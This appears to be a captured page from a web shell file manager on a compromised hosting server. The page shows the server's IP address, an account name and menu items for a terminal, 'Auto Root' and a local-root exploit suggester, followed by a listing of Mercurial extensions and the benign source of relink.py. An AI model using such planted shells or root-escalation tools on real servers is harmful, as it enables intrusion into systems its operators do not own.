Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib64 /
python2.7 /
site-packages /
hgext /
Delete
Unzip
Name
Size
Permission
Date
Action
convert
[ DIR ]
drwxr-xr-x
2021-09-16 10:54
highlight
[ DIR ]
drwxr-xr-x
2021-09-16 10:54
inotify
[ DIR ]
drwxr-xr-x
2021-09-16 10:54
largefiles
[ DIR ]
drwxr-xr-x
2021-09-16 10:54
zeroconf
[ DIR ]
drwxr-xr-x
2021-09-16 10:54
__init__.py
14
B
-rw-r--r--
2013-06-01 18:10
__init__.pyc
139
B
-rw-r--r--
2020-03-31 23:33
__init__.pyo
139
B
-rw-r--r--
2020-03-31 23:33
acl.py
10.12
KB
-rw-r--r--
2013-06-01 18:10
acl.pyc
9.57
KB
-rw-r--r--
2020-03-31 23:33
acl.pyo
9.57
KB
-rw-r--r--
2020-03-31 23:33
blackbox.py
5.13
KB
-rw-r--r--
2013-06-01 18:10
blackbox.pyc
5.08
KB
-rw-r--r--
2020-03-31 23:33
blackbox.pyo
5.08
KB
-rw-r--r--
2020-03-31 23:33
bugzilla.py
34.12
KB
-rw-r--r--
2013-06-01 18:10
bugzilla.pyc
34.8
KB
-rw-r--r--
2020-03-31 23:33
bugzilla.pyo
34.8
KB
-rw-r--r--
2020-03-31 23:33
children.py
1.52
KB
-rw-r--r--
2013-06-01 18:10
children.pyc
1.58
KB
-rw-r--r--
2020-03-31 23:33
children.pyo
1.58
KB
-rw-r--r--
2020-03-31 23:33
churn.py
6.68
KB
-rw-r--r--
2013-06-01 18:10
churn.pyc
8.17
KB
-rw-r--r--
2020-03-31 23:33
churn.pyo
8.17
KB
-rw-r--r--
2020-03-31 23:33
color.py
19.13
KB
-rw-r--r--
2013-06-01 18:10
color.pyc
17.1
KB
-rw-r--r--
2020-03-31 23:33
color.pyo
17.1
KB
-rw-r--r--
2020-03-31 23:33
eol.py
12.96
KB
-rw-r--r--
2013-06-01 18:10
eol.pyc
13.08
KB
-rw-r--r--
2020-03-31 23:33
eol.pyo
13.08
KB
-rw-r--r--
2020-03-31 23:33
extdiff.py
12.35
KB
-rw-r--r--
2013-06-01 18:10
extdiff.pyc
10.51
KB
-rw-r--r--
2020-03-31 23:33
extdiff.pyo
10.51
KB
-rw-r--r--
2020-03-31 23:33
factotum.py
4.12
KB
-rw-r--r--
2013-06-01 18:10
factotum.pyc
4.04
KB
-rw-r--r--
2020-03-31 23:33
factotum.pyo
4.04
KB
-rw-r--r--
2020-03-31 23:33
fetch.py
5.85
KB
-rw-r--r--
2013-06-01 18:10
fetch.pyc
4.78
KB
-rw-r--r--
2020-03-31 23:33
fetch.pyo
4.78
KB
-rw-r--r--
2020-03-31 23:33
gpg.py
9.15
KB
-rw-r--r--
2013-06-01 18:10
gpg.pyc
9.54
KB
-rw-r--r--
2020-03-31 23:33
gpg.pyo
9.54
KB
-rw-r--r--
2020-03-31 23:33
graphlog.py
2.03
KB
-rw-r--r--
2013-06-01 18:10
graphlog.pyc
2.27
KB
-rw-r--r--
2020-03-31 23:33
graphlog.pyo
2.27
KB
-rw-r--r--
2020-03-31 23:33
hgcia.py
8.7
KB
-rw-r--r--
2013-06-01 18:10
hgcia.pyc
10.13
KB
-rw-r--r--
2020-03-31 23:33
hgcia.pyo
10.13
KB
-rw-r--r--
2020-03-31 23:33
hgk.py
11.65
KB
-rw-r--r--
2013-06-01 18:10
hgk.pyc
10.9
KB
-rw-r--r--
2020-03-31 23:33
hgk.pyo
10.86
KB
-rw-r--r--
2020-03-31 23:33
histedit.py
31.14
KB
-rw-r--r--
2013-06-01 18:10
histedit.pyc
26.71
KB
-rw-r--r--
2020-03-31 23:33
histedit.pyo
26.71
KB
-rw-r--r--
2020-03-31 23:33
interhg.py
2.77
KB
-rw-r--r--
2013-06-01 18:10
interhg.pyc
2.52
KB
-rw-r--r--
2020-03-31 23:33
interhg.pyo
2.52
KB
-rw-r--r--
2020-03-31 23:33
keyword.py
27.3
KB
-rw-r--r--
2013-06-01 18:10
keyword.pyc
28.79
KB
-rw-r--r--
2020-03-31 23:33
keyword.pyo
28.79
KB
-rw-r--r--
2020-03-31 23:33
mq.py
131.62
KB
-rw-r--r--
2013-06-01 18:10
mq.pyc
112.79
KB
-rw-r--r--
2020-03-31 23:33
mq.pyo
112.75
KB
-rw-r--r--
2020-03-31 23:33
notify.py
14.29
KB
-rw-r--r--
2013-06-01 18:10
notify.pyc
13.4
KB
-rw-r--r--
2020-03-31 23:33
notify.pyo
13.4
KB
-rw-r--r--
2020-03-31 23:33
pager.py
4.53
KB
-rw-r--r--
2013-06-01 18:10
pager.pyc
4.98
KB
-rw-r--r--
2020-03-31 23:33
pager.pyo
4.98
KB
-rw-r--r--
2020-03-31 23:33
patchbomb.py
20.91
KB
-rw-r--r--
2013-06-01 18:10
patchbomb.pyc
19.75
KB
-rw-r--r--
2020-03-31 23:33
patchbomb.pyo
19.75
KB
-rw-r--r--
2020-03-31 23:33
progress.py
10.61
KB
-rw-r--r--
2013-06-01 18:10
progress.pyc
9.8
KB
-rw-r--r--
2020-03-31 23:33
progress.pyo
9.8
KB
-rw-r--r--
2020-03-31 23:33
purge.py
3.88
KB
-rw-r--r--
2013-06-01 18:10
purge.pyc
3.5
KB
-rw-r--r--
2020-03-31 23:33
purge.pyo
3.5
KB
-rw-r--r--
2020-03-31 23:33
rebase.py
31.66
KB
-rw-r--r--
2013-06-01 18:10
rebase.pyc
24.01
KB
-rw-r--r--
2020-03-31 23:33
rebase.pyo
23.92
KB
-rw-r--r--
2020-03-31 23:33
record.py
23.55
KB
-rw-r--r--
2013-06-01 18:10
record.pyc
23.83
KB
-rw-r--r--
2020-03-31 23:33
record.pyo
23.83
KB
-rw-r--r--
2020-03-31 23:33
relink.py
5.88
KB
-rw-r--r--
2013-06-01 18:10
relink.pyc
5.76
KB
-rw-r--r--
2020-03-31 23:33
relink.pyo
5.76
KB
-rw-r--r--
2020-03-31 23:33
schemes.py
3.29
KB
-rw-r--r--
2013-06-01 18:10
schemes.pyc
4.37
KB
-rw-r--r--
2020-03-31 23:33
schemes.pyo
4.37
KB
-rw-r--r--
2020-03-31 23:33
share.py
2.29
KB
-rw-r--r--
2013-06-01 18:10
share.pyc
2.32
KB
-rw-r--r--
2020-03-31 23:33
share.pyo
2.32
KB
-rw-r--r--
2020-03-31 23:33
transplant.py
25.51
KB
-rw-r--r--
2013-06-01 18:10
transplant.pyc
24.07
KB
-rw-r--r--
2020-03-31 23:33
transplant.pyo
24.07
KB
-rw-r--r--
2020-03-31 23:33
win32mbcs.py
6.24
KB
-rw-r--r--
2013-06-01 18:10
win32mbcs.pyc
5.94
KB
-rw-r--r--
2020-03-31 23:33
win32mbcs.pyo
5.94
KB
-rw-r--r--
2020-03-31 23:33
win32text.py
5.58
KB
-rw-r--r--
2013-06-01 18:10
win32text.pyc
6.16
KB
-rw-r--r--
2020-03-31 23:33
win32text.pyo
6.16
KB
-rw-r--r--
2020-03-31 23:33
Save
Rename
# Mercurial extension to provide 'hg relink' command # # Copyright (C) 2007 Brendan Cully <brendan@kublai.com> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. """recreates hardlinks between repository clones""" from mercurial import hg, util from mercurial.i18n import _ import os, stat testedwith = 'internal' def relink(ui, repo, origin=None, **opts): """recreate hardlinks between two repositories When repositories are cloned locally, their data files will be hardlinked so that they only use the space of a single repository. Unfortunately, subsequent pulls into either repository will break hardlinks for any files touched by the new changesets, even if both repositories end up pulling the same changes. Similarly, passing --rev to "hg clone" will fail to use any hardlinks, falling back to a complete copy of the source repository. This command lets you recreate those hardlinks and reclaim that wasted space. This repository will be relinked to share space with ORIGIN, which must be on the same local disk. If ORIGIN is omitted, looks for "default-relink", then "default", in [paths]. Do not attempt any read operations on this repository while the command is running. (Both repositories will be locked against writes.) """ if (not util.safehasattr(util, 'samefile') or not util.safehasattr(util, 'samedevice')): raise util.Abort(_('hardlinks are not supported on this system')) src = hg.repository(repo.baseui, ui.expandpath(origin or 'default-relink', origin or 'default')) ui.status(_('relinking %s to %s\n') % (src.store.path, repo.store.path)) if repo.root == src.root: ui.status(_('there is nothing to relink\n')) return locallock = repo.lock() try: remotelock = src.lock() try: candidates = sorted(collect(src, ui)) targets = prune(candidates, src.store.path, repo.store.path, ui) do_relink(src.store.path, repo.store.path, targets, ui) finally: remotelock.release() finally: locallock.release() def collect(src, ui): seplen = len(os.path.sep) candidates = [] live = len(src['tip'].manifest()) # Your average repository has some files which were deleted before # the tip revision. We account for that by assuming that there are # 3 tracked files for every 2 live files as of the tip version of # the repository. # # mozilla-central as of 2010-06-10 had a ratio of just over 7:5. total = live * 3 // 2 src = src.store.path pos = 0 ui.status(_("tip has %d files, estimated total number of files: %s\n") % (live, total)) for dirpath, dirnames, filenames in os.walk(src): dirnames.sort() relpath = dirpath[len(src) + seplen:] for filename in sorted(filenames): if filename[-2:] not in ('.d', '.i'): continue st = os.stat(os.path.join(dirpath, filename)) if not stat.S_ISREG(st.st_mode): continue pos += 1 candidates.append((os.path.join(relpath, filename), st)) ui.progress(_('collecting'), pos, filename, _('files'), total) ui.progress(_('collecting'), None) ui.status(_('collected %d candidate storage files\n') % len(candidates)) return candidates def prune(candidates, src, dst, ui): def linkfilter(src, dst, st): try: ts = os.stat(dst) except OSError: # Destination doesn't have this file? return False if util.samefile(src, dst): return False if not util.samedevice(src, dst): # No point in continuing raise util.Abort( _('source and destination are on different devices')) if st.st_size != ts.st_size: return False return st targets = [] total = len(candidates) pos = 0 for fn, st in candidates: pos += 1 srcpath = os.path.join(src, fn) tgt = os.path.join(dst, fn) ts = linkfilter(srcpath, tgt, st) if not ts: ui.debug('not linkable: %s\n' % fn) continue targets.append((fn, ts.st_size)) ui.progress(_('pruning'), pos, fn, _('files'), total) ui.progress(_('pruning'), None) ui.status(_('pruned down to %d probably relinkable files\n') % len(targets)) return targets def do_relink(src, dst, files, ui): def relinkfile(src, dst): bak = dst + '.bak' os.rename(dst, bak) try: util.oslink(src, dst) except OSError: os.rename(bak, dst) raise os.remove(bak) CHUNKLEN = 65536 relinked = 0 savedbytes = 0 pos = 0 total = len(files) for f, sz in files: pos += 1 source = os.path.join(src, f) tgt = os.path.join(dst, f) # Binary mode, so that read() works correctly, especially on Windows sfp = file(source, 'rb') dfp = file(tgt, 'rb') sin = sfp.read(CHUNKLEN) while sin: din = dfp.read(CHUNKLEN) if sin != din: break sin = sfp.read(CHUNKLEN) sfp.close() dfp.close() if sin: ui.debug('not linkable: %s\n' % f) continue try: relinkfile(source, tgt) ui.progress(_('relinking'), pos, f, _('files'), total) relinked += 1 savedbytes += sz except OSError, inst: ui.warn('%s: %s\n' % (tgt, str(inst))) ui.progress(_('relinking'), None) ui.status(_('relinked %d files (%s reclaimed)\n') % (relinked, util.bytecount(savedbytes))) cmdtable = { 'relink': ( relink, [], _('[ORIGIN]') ) }